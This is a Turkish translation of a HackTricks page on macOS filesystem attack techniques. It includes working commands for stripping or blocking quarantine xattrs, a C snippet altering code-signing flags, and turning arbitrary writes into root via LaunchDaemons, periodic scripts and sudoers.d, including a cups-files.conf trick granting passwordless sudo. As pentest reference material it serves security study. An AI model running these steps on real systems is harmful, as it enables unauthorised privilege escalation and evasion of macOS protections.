macOS FS Tricks

Reading time: 13 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

POSIX izin kombinasyonları

Bir dizindeki izinler:

  • okuma - dizin girişlerini listeleyebilirsiniz
  • yazma - dizindeki dosyaları silip/yazabilirsiniz ve boş klasörleri silebilirsiniz.
  • Ancak boş olmayan klasörleri silip/değiştiremezsiniz, eğer üzerinde yazma izniniz yoksa.
  • Bir klasörün adını değiştiremezsiniz, eğer ona sahip değilseniz.
  • çalıştırma - dizinde geçiş yapmanıza izin verilir - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz.

Tehlikeli Kombinasyonlar

Root tarafından sahip olunan bir dosya/klasörü nasıl geçersiz kılabilirsiniz, ancak:

  • Yolda bir ana dizin sahibi kullanıcıdır
  • Yolda bir ana dizin sahibi kullanıcı grubu yazma erişimine sahiptir
  • Bir kullanıcı grubu dosyaya yazma erişimine sahiptir

Önceki kombinasyonlardan herhangi biriyle, bir saldırgan beklenen yola bir simetrik/sert bağlantı enjekte edebilir ve ayrıcalıklı bir yazma elde edebilir.

Klasör root R+X Özel durumu

Eğer yalnızca root'un R+X erişimine sahip olduğu bir dizide dosyalar varsa, bunlar başka kimseye erişilebilir değildir. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu kısıtlama nedeniyle okunamayan bir dosyayı bu klasörden farklı birine taşımasına izin veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir.

Örnek: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Sembolik Bağlantı / Sert Bağlantı

İzinli dosya/klasör

Eğer ayrıcalıklı bir işlem, daha düşük ayrıcalıklı bir kullanıcı tarafından kontrol edilebilecek bir dosyaya veri yazıyorsa veya daha düşük ayrıcalıklı bir kullanıcı tarafından önceden oluşturulmuş bir dosyaya yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla başka bir dosyaya işaret edebilir ve ayrıcalıklı işlem o dosyaya yazacaktır.

Bir saldırganın ayrıcalıkları artırmak için keyfi bir yazmayı nasıl kötüye kullanabileceğini kontrol edin.

Açık O_NOFOLLOW

open fonksiyonu tarafından kullanılan O_NOFOLLOW bayrağı, son yol bileşenindeki bir sembolik bağlantıyı takip etmeyecek, ancak yolun geri kalanını takip edecektir. Yolda sembolik bağlantıları takip etmeyi önlemenin doğru yolu O_NOFOLLOW_ANY bayrağını kullanmaktır.

.fileloc

.fileloc uzantısına sahip dosyalar, diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldıklarında, uygulama/ikili dosya çalıştırılacak olan olacaktır.
Örnek:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

Dosya Tanımlayıcıları

Leak FD (no O_CLOEXEC)

Eğer open çağrısında O_CLOEXEC bayrağı yoksa, dosya tanımlayıcısı çocuk süreç tarafından miras alınacaktır. Yani, eğer ayrıcalıklı bir süreç ayrıcalıklı bir dosyayı açar ve saldırgan tarafından kontrol edilen bir süreci çalıştırırsa, saldırgan ayrıcalıklı dosya üzerindeki FD'yi miras alacaktır.

Eğer bir sürecin yüksek ayrıcalıklarla bir dosya veya klasör açmasını sağlayabilirseniz, crontab'ı kullanarak /etc/sudoers.d içinde EDITOR=exploit.py ile bir dosya açmak için kötüye kullanabilirsiniz, böylece exploit.py /etc/sudoers içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır.

Örneğin: https://youtu.be/f1HA5QhLQ7Y?t=21098, kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging

Karantina xattrs hilelerinden kaçının

Kaldırın

bash
xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable bayrağı

Eğer bir dosya/klasör bu değişmez niteliğe sahipse, ona bir xattr eklemek mümkün olmayacaktır.

bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs mount

Bir devfs montajı xattr'ı desteklemez, daha fazla bilgi için CVE-2023-32364

bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

Bu ACL, dosyaya xattrs eklenmesini engeller.

bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.

kaynak kodda görülebilir ki, xattr içinde saklanan ACL metin temsili com.apple.acl.text olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'ların yazılmasını engellediği bir zip dosyasına AppleDouble dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:

Daha fazla bilgi için orijinal raporu kontrol edin.

Bunu tekrarlamak için önce doğru acl dizesini almamız gerekiyor:

bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note that even if this works the sandbox write the quarantine xattr before)

Not really needed but I leave it there just in case:

macOS xattr-acls extra stuff

İmza kontrollerini atlama

Platform ikili dosyası kontrollerini atlama

Bazı güvenlik kontrolleri, ikilinin bir platform ikili dosyası olup olmadığını kontrol eder; örneğin, bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla bir ortam değişkeni DYLD_INSERT_LIBRARIES kullanarak enjekte ederek.

CS_REQUIRE_LV ve CS_FORCED_LV bayraklarını atlama

Bir yürütülen ikilinin, kontrolleri atlamak için kendi bayraklarını değiştirmesi mümkündür; böyle bir kod ile:

c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];

uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS

status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);

Bypass Code Signatures

Bundles, _CodeSignature/CodeResources dosyasını içerir ve bu dosya bundle içindeki her bir dosyanın hash'ini barındırır. CodeResources'ın hash'inin de çalıştırılabilir dosya içinde gömülü olduğunu unutmayın, bu yüzden bununla da oynayamayız.

Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:

xml
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

CLI'den bir kaynağın imzasını hesaplamak mümkündür:

bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Mount dmgs

Bir kullanıcı, mevcut bazı klasörlerin üzerine bile oluşturulmuş özel bir dmg'yi monte edebilir. Özel içerikle bir özel dmg paketi oluşturmanın yolu budur:

bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg

Genellikle macOS, diski com.apple.DiskArbitrarion.diskarbitrariond Mach servisi ile bağlar (bu servis /usr/libexec/diskarbitrationd tarafından sağlanır). LaunchDaemons plist dosyasına -d parametresi eklenip yeniden başlatıldığında, /var/log/diskarbitrationd.log dosyasına günlükler kaydedilecektir.
Ancak, com.apple.driver.DiskImages kext'i ile doğrudan iletişim kurmak için hdik ve hdiutil gibi araçlar kullanmak mümkündür.

Keyfi Yazmalar

Periyodik sh betikleri

Eğer betiğiniz bir shell script olarak yorumlanabiliyorsa, her gün tetiklenecek olan /etc/periodic/daily/999.local shell betiğini üzerine yazabilirsiniz.

Bu betiğin bir yürütmesini şu şekilde taklit edebilirsiniz: sudo periodic daily

Daemonlar

Keyfi bir LaunchDaemon yazın, örneğin /Library/LaunchDaemons/xyz.hacktricks.privesc.plist gibi, keyfi bir betiği yürüten bir plist ile:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.

Sudoers Dosyası

Eğer keyfi yazma yetkiniz varsa, kendinize sudo ayrıcalıkları veren bir dosya oluşturabilirsiniz /etc/sudoers.d/ klasörü içinde.

PATH dosyaları

/etc/paths dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için root olmalısınız, ancak eğer yetkili bir işlem bir komutu tam yol olmadan çalıştırıyorsa, bu dosyayı değiştirerek onu ele geçirme şansınız olabilir.

Ayrıca, PATH env değişkenine yeni klasörler yüklemek için /etc/paths.d içinde dosyalar yazabilirsiniz.

cups-files.conf

Bu teknik bu yazıda kullanılmıştır.

Aşağıdaki içeriğe sahip /etc/cups/cups-files.conf dosyasını oluşturun:

ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>

Bu, izinleri 777 olan /etc/sudoers.d/lpe dosyasını oluşturacaktır. Sonundaki ekstra gereksizlik, hata günlüğü oluşturmayı tetiklemek içindir.

Ardından, /etc/sudoers.d/lpe dosyasına %staff ALL=(ALL) NOPASSWD:ALL gibi ayrıcalıkları artırmak için gerekli yapılandırmayı yazın.

Daha sonra, yeni sudoers dosyasının geçerli olmasını sağlamak için /etc/cups/cups-files.conf dosyasını tekrar değiştirin ve LogFilePerm 700 belirtin, böylece cupsctl çağrıldığında geçerli olur.

Sandbox Kaçışı

macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler için macOS Auto Start sayfasına bakın, ancak yaygın bir örnek, başlangıçta bir komut çalıştıran ~/Library/Preferences/com.apple.Terminal.plist içinde bir Terminal tercih dosyası yazmaktır ve bunu open kullanarak çağırmaktır.

Diğer kullanıcılar olarak yazılabilir dosyalar oluşturma

Bu, benim yazabileceğim bir dosya oluşturacaktır ve bu dosya root'a aittir (buradan kod). Bu ayrıca ayrıcalık artırma olarak da çalışabilir:

bash
DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

POSIX Paylaşılan Bellek

POSIX paylaşılan bellek, POSIX uyumlu işletim sistemlerinde süreçlerin ortak bir bellek alanına erişmesine olanak tanır ve bu, diğer süreçler arası iletişim yöntemlerine kıyasla daha hızlı iletişim sağlar. Bu, shm_open() ile bir paylaşılan bellek nesnesi oluşturmayı veya açmayı, ftruncate() ile boyutunu ayarlamayı ve mmap() kullanarak sürecin adres alanına haritalamayı içerir. Süreçler daha sonra bu bellek alanından doğrudan okuma ve yazma yapabilirler. Eşzamanlı erişimi yönetmek ve veri bozulmasını önlemek için genellikle mutexler veya semaforlar gibi senkronizasyon mekanizmaları kullanılır. Son olarak, süreçler paylaşılan belleği munmap() ve close() ile haritalamayı kaldırır ve kapatır, isteğe bağlı olarak bellek nesnesini shm_unlink() ile kaldırabilirler. Bu sistem, birden fazla sürecin paylaşılan verilere hızlı bir şekilde erişmesi gereken ortamlarda verimli, hızlı IPC için özellikle etkilidir.

Üretici Kod Örneği
c
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Write to the shared memory
sprintf(ptr, "Hello from Producer!");

// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);

return 0;
}
Tüketici Kod Örneği
c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);

// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink

return 0;
}

macOS Korunan Tanımlayıcılar

macOS korunan tanımlayıcılar, kullanıcı uygulamalarındaki dosya tanımlayıcı işlemlerinin güvenliğini ve güvenilirliğini artırmak için macOS'ta tanıtılan bir güvenlik özelliğidir. Bu korunan tanımlayıcılar, dosya tanımlayıcılarıyla belirli kısıtlamalar veya "korumalar" ilişkilendirme yolu sağlar ve bu kısıtlamalar çekirdek tarafından uygulanır.

Bu özellik, yetkisiz dosya erişimi veya yarış koşulları gibi belirli güvenlik açıklarını önlemek için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına eriştiğinde başka bir savunmasız iş parçacığına erişim vermesi veya bir dosya tanımlayıcısının savunmasız bir çocuk süreç tarafından devralınması durumunda ortaya çıkar. Bu işlevselliğe ilişkin bazı fonksiyonlar şunlardır:

  • guarded_open_np: Bir koruma ile FD açar
  • guarded_close_np: Kapatır
  • change_fdguard_np: Bir tanımlayıcı üzerindeki koruma bayraklarını değiştirir (koruma kaldırma dahil)

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin